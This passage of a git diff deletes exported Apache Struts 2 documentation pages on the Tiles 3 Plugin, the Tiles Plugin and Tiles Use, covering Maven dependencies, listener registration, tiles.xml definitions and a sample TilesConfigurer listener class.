-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tiles-3-plugin.html b/content/docs/tiles-3-plugin.html
deleted file mode 100644
index 641049b..0000000
--- a/content/docs/tiles-3-plugin.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Tiles 3 Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="tiles-3-plugin.html">Tiles 3 Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Tiles 3 Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30750969">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30750969">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30750969">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30750969">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30750969">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30750969">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This plugin was dropped in Struts 2.5, instead please use <a shape="rect" href="tiles-plugin.html">Tiles Plugin</a> which was extended and upgraded to Tiles 3.</p></div></div><div class="confluence-information-macro confluenc [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-tiles3-plugin&lt;/artifactId&gt;
-  &lt;version&gt;${version.tiles}&lt;/version&gt;
-  &lt;scope&gt;compile&lt;/scope&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div></li><li><p>Register the tiles listener.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;listener&gt;
-    &lt;listener-class&gt;org.apache.tiles.extras.complete.CompleteAutoloadTilesListener&lt;/listener-class&gt;
-&lt;/listener&gt;
-</pre>
-</div></div></li><li><p>All package definitions which require tiles support must either extend the tiles-default package or must register the <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Tiles+3+Result&amp;linkCreation=true&amp;fromPageId=30750969">Tiles 3 Result</a> type definition.</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;result-types&gt;
-  &lt;result-type name="tiles" class="org.apache.struts2.views.tiles.TilesResult"/&gt;
-&lt;/result-types&gt;
-</pre>
-</div></div></li><li><p>Configure your actions to utilize a tiles definition:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="sample" class="org.apache.struts2.tiles.example.SampleAction" &gt;
-  &lt;result name="success" type="tiles"&gt;tilesWorks&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div></li></ol><h2 id="Tiles3Plugin-Example">Example</h2><p>TBD</p><h2 id="Tiles3Plugin-Settings">Settings</h2><p>This plugin does inherits settings from <a shape="rect" class="external-link" href="http://tiles.apache.org/config-reference.html">Tiles configuration</a>.</p><h2 id="Tiles3Plugin-Installation">Installation</h2><p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory. No other files need to be copied or creat [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tiles-plugin.html b/content/docs/tiles-plugin.html
deleted file mode 100644
index 58795bf..0000000
--- a/content/docs/tiles-plugin.html
+++ /dev/null
@@ -1,192 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Tiles Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="tiles-plugin.html">Tiles Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Tiles Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27401">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27401">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27401">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27401">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27401">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27401">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><rich-text-body><p>Tiles is a templating framework designed to easily allow the creation of web application pages with a consistent look and feel. It can be used for both page decorating and componentization.</p></rich-text-body><p>The Tiles plugin<parameter ac:name="atlassian-macro-output-type">INLINE</parameter><rich-text-body><p>allows actions to return Tiles pages</p></rich-text-body></p><h2 id="TilesPlugin-Features">Features</h2><ul><li>Suppor [...]
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-tiles-plugin&lt;/artifactId&gt;
-  &lt;version&gt;${version.tiles}&lt;/version&gt;
-&lt;/dependency&gt;
-</plain-text-body></li><li><p>Register the tiles listener. This listener will typically either be the standard tiles listener (org.apache.tiles.listener.TilesListener) or the Struts2 replacement (org.apache.struts2.tiles.TilesListener). The latter provides tighter integration with Struts features such as freemarker integration.</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;listener&gt;
-  &lt;listener-class&gt;org.apache.struts2.tiles.StrutsTilesListener&lt;/listener-class&gt;
-&lt;/listener&gt;
-</plain-text-body></li><li><p>All package definitions which require tiles support must either extend the tiles-default package or must register the <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Tiles+Result&amp;linkCreation=true&amp;fromPageId=27401">Tiles Result</a> type definition.</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;result-types&gt;
-  &lt;result-type name="tiles" class="org.apache.struts2.views.tiles.TilesResult"/&gt;
-&lt;/result-types&gt;
-</plain-text-body></li><li><p>Configure your actions to utilize a tiles definition:</p><parameter ac:name="">xml</parameter><plain-text-body>&lt;action name="sample" class="org.apache.struts2.tiles.example.SampleAction" &gt;
-  &lt;result name="success" type="tiles"&gt;tilesWorks&lt;/result&gt;
-&lt;/action&gt;
-</plain-text-body></li><li><p>Instead of xml configuration you can use annotations</p><parameter ac:name="language">java</parameter><plain-text-body>@Result(name = "success", type="tiles")
-@TilesDefinition(extend = "fooLayout", putAttributes = {
-    @TilesPutAttribute(name = "header", value = "/WEB-INF/tiles/header.jsp"),
-    @TilesPutAttribute(name = "body", value = "/WEB-INF/tiles/body.ftl")
-})
-public class FooAction extends ActionSupport {</plain-text-body></li><li><p>You have to define Tiles Definitons in a tiles.xml file. That can be placed in <code>resources</code> or in <code>WEB-INF</code>.</p><parameter ac:name="language">xml</parameter><plain-text-body>&lt;!DOCTYPE tiles-definitions PUBLIC
-        "-//Apache Software Foundation//DTD Tiles Configuration 3.0//EN"
-        "http://tiles.apache.org/dtds/tiles-config_3_0.dtd"&gt;
-
-&lt;tiles-definitions&gt;
-
-    &lt;definition name="fooLayout" template="/WEB-INF/tiles/layout.jsp"&gt;
-        &lt;put-attribute name="title" value="Tiles Sample"/&gt;
-        &lt;put-attribute name="header" value=".header"/&gt;
-        &lt;put-attribute name="body" value=".bodyp"/&gt;
-    &lt;/definition&gt;
-
-    &lt;definition name="tilesWorks" extends="fooLayout"&gt;
-        &lt;put-attribute name="header" value="/WEB-INF/tiles/header.jsp"/&gt;
-        &lt;put-attribute name="body" value="/WEB-INF/tiles/body.jsp"/&gt;
-    &lt;/definition&gt;
-
-&lt;/tiles-definitions&gt;</plain-text-body></li></ol><p>&#160;</p><rich-text-body><p>As from Struts 2.3.28, the plugin automatically loads all Tiles definitions matching the following pattern <code>tiles*.xml</code> - you don't have to specify them via <code>org.apache.tiles.definition.DefinitionsFactory.DEFINITIONS_CONFIG</code> in <code>web.xml</code>, but you can use this option if your application is going to work in restricted servlet environment e.g. Google AppEngine. In such case [...]
-  &lt;put-attribute name="title" expression="S2:actionProperty"/&gt;
-  &lt;put-attribute name="body" value="/WEB-INF/tiles/home.jsp"/&gt;
-&lt;/definition&gt;</plain-text-body><p>In such case Tiles will delegate evaluation of the expression to Struts and&#160;<code>ValueStack</code> will be examined to evaluate the expression.</p><h3 id="TilesPlugin-I18N">I18N</h3><p>Instead of defining new tiles definitions per supported language (i.e.:&#160;<code>tiles.xml</code>,&#160;<code>tiles_de.xml</code>,&#160;<code>tiles_pl.xml</code>) you can use&#160;<code>I18N</code> prefix to evaluate provided expression as a key in Struts res [...]
-  &lt;put-attribute name="title" expression="I18N:home.title"/&gt;
-  &lt;put-attribute name="body" value="/WEB-INF/tiles/home.jsp"/&gt;
-&lt;/definition&gt;</plain-text-body><h2 id="TilesPlugin-Example">Example</h2><p>This example shows a Tiles layout page using Struts tags:<plain-text-body>{snippet:url=struts2/apps/showcase/src/main/webapp/WEB-INF/tiles/layout.jsp|lang=xml}</plain-text-body>Please check&#160;<a shape="rect" class="external-link" href="https://github.com/apache/struts-examples/tree/master/tiles" rel="nofollow">tiles</a>&#160;example in&#160;<a shape="rect" class="external-link" href="https://github.com/ap [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/tiles-use.html b/content/docs/tiles-use.html
deleted file mode 100644
index 10fabb4..0000000
--- a/content/docs/tiles-use.html
+++ /dev/null
@@ -1,211 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Tiles Use</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="tiles-plugin.html">Tiles Plugin</a>&nbsp;&gt;&nbsp;<a href="tiles-use.html">Tiles Use</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Tiles Use</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14187">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14187">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14187">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14187">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14187">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14187">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>Tiles uses a definition file (XML document) that must be instantiated before use. One way to render the definition file would be to use Spring. Another way would be to use a separate Listener, as shown by Tilesconfigurer.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>TilesConfigurer.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package com.opensymphony.webwork.views.tiles;
-
-import javax.servlet.ServletContextEvent;
-import javax.servlet.ServletContextListener;
-
-import org.apache.struts.tiles.DefinitionsFactoryConfig;
-import org.apache.struts.tiles.DefinitionsFactoryException;
-import org.apache.struts.tiles.TilesUtil;
-import org.apache.struts.tiles.xmlDefinition.I18nFactorySet;
-
-/*
-* Modified from Spring's source
-*
-* here's how a smaple web xml should look like:
-* &lt;web-app&gt;
-*   &lt;context-param&gt;
-*     &lt;param-name&gt;tilesDefinitions&lt;/param-name&gt;
-*     &lt;param-value&gt;/WEB-INF/tiles.xml&lt;/param-value&gt;
-*   &lt;/context-param&gt;
-*
-*   &lt;listener&gt;
-*      &lt;listener-class&gt;com.opensymphony.webwork.views.tiles.TilesConfigurer&lt;/listener-class&gt;
-*   &lt;/listener&gt;
-* &lt;/web-app&gt;
-*
-* To use the definitions specified you would use a dispatcher result (since
-* tiles jsp is just another jsp) to render tiles view.
-*/
-public class TilesConfigurer implements ServletContextListener {
-
-    private boolean initialized = false;
-
-    public void contextInitialized (ServletContextEvent evt) {
-
-        if (!initialized) {
-            DefinitionsFactoryConfig factoryConfig = new DefinitionsFactoryConfig();
-            factoryConfig.setFactoryClassname(I18nFactorySet.class.getName());
-            factoryConfig.setParserValidate(true);
-            factoryConfig.setDefinitionConfigFiles(evt.getServletContext().getInitParameter("tilesDefinitions"));
-            try {
-                TilesUtil.createDefinitionsFactory(evt.getServletContext(), factoryConfig);
-            } catch (DefinitionsFactoryException e) {
-                e.printStackTrace();
-            }
-            initialized = true;
-        }
-
-    }
-
-    public void contextDestroyed (ServletContextEvent evt) {
-    }
-
-}
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The TilesConfigurer was adapted from the Spring source code.</p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/timer-interceptor.html b/content/docs/timer-interceptor.html
deleted file mode 100644
index fa8e08b..0000000
--- a/content/docs/timer-interceptor.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
